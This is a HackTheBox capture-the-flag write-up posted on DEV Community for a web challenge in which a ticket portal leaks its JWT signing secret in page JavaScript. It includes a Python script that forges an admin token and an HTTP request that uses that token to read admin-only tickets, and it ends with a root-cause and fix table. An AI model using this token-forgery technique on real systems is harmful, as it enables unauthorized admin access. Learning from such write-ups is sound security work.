DEV Community

Cover image for HackTheBox : WayWitch Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox : WayWitch Writeup

Summary

The ticket portal generates guest session JWTs client-side, signing them with an HMAC secret (halloween-secret) that's hardcoded directly in the page's JavaScript. Since the server verifies tokens with that same secret, anyone can read it from the page source and forge their own token with username: "admin". Access control on the /tickets endpoint trusts this claim outright, so the forged token unlocks the admin-only ticket list - which contains the flag.


1. Recon

The challenge exposed a single web service (a Halloween-themed "WitchWay" ticket support portal) reachable over HTTPS with a self-signed cert:

curl https://<target-ip>:<port>/ --insecure
Enter fullscreen mode Exit fullscreen mode

The landing page rendered a ticket submission form and pulled in a client-side JWT library (jose.min.js). Viewing the page source revealed inline JavaScript that generates a guest session token entirely in the browser:

const secretKey = await crypto.subtle.importKey(
    "raw",
    new TextEncoder().encode("halloween-secret"),
    { name: "HMAC", hash: "SHA-256" },
    false,
    ["sign"],
);
Enter fullscreen mode Exit fullscreen mode

This is the core flaw: the HMAC secret used to sign session tokens (halloween-secret) is shipped in plaintext inside client-facing JavaScript. Since JWTs signed with HS256 are verified with the same symmetric key used to sign them, anyone who reads the page source can mint their own valid tokens.

On page load, a session_token cookie is set containing a JWT with only two claims:

{ "username": "guest_1234", "iat": 1699999999 }
Enter fullscreen mode Exit fullscreen mode

2. Source review

A downloadable build archive (build-docker.sh, Dockerfile, src/) confirmed the server-side logic. The relevant route, src/routes/index.js:

router.get("/tickets", async (req, res) => {
  const sessionToken = req.cookies.session_token;
  ...
  const username = getUsernameFromToken(sessionToken);

  if (username === "admin") {
    const tickets = await db.get_tickets();
    return res.status(200).json({ tickets });
  } else {
    return res.status(403).json(response("Access denied. Admin privileges required."));
  }
});
Enter fullscreen mode Exit fullscreen mode

Access control here is entirely dependent on one thing: the username claim decoded out of the client-supplied session_token cookie. There's no separate role or permission field - just a string equality check against "admin".

database.js confirmed the payoff. A seeded ticket belonging to admin holds the flag:

('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}')
Enter fullscreen mode Exit fullscreen mode

So the path to the flag is:

Forge a JWT with username: "admin", signed with the leaked secret halloween-secret → hit GET /tickets → read the admin ticket's content.

3. Exploitation

Since the server signs and verifies with the same symmetric secret found in the client-side bundle, forging a valid admin token just means signing our own JWT with that key.

import jwt
import time

JWT_SECRET = "halloween-secret"

payload = {
    "username": "admin",
    "iat": int(time.time())
}

forged_token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(forged_token)
Enter fullscreen mode Exit fullscreen mode

This produces a token such as:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg0Mjg4NjQ4fQ.<signature>
Enter fullscreen mode Exit fullscreen mode

The forged token was set as the session_token cookie and sent to the protected endpoint (confirmed working in Burp Repeater):

GET /tickets HTTP/1.1
Host: 154.57.164.73:31677
Cookie: session_token=<forged admin JWT>
Enter fullscreen mode Exit fullscreen mode

4. Result

The server accepted the forged token, decoded username: "admin" from it, and returned the full ticket list - including the admin-only entry:

{
  "id": 3,
  "name": "Admin",
  "username": "admin",
  "content": "Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter HTB{REDACTED}"
}
Enter fullscreen mode Exit fullscreen mode

Flag: HTB{REDACTED}

5. Root Cause & Fix

Issue Why it matters Fix
JWT secret embedded in client-side JS Anyone loading the page can read the exact signing key Never generate or sign session tokens client-side; issue tokens only from the server after real authentication
Access control keyed on a raw JWT claim string Any token bearer can set username to whatever they like if they know the secret Enforce role checks server-side against a trusted source (session store / DB), not a self-asserted claim
Guest sessions minted without any server-side authentication step No proof of identity is ever established Require the server to issue and sign tokens itself, using a secret that never leaves the backend

Top comments (0)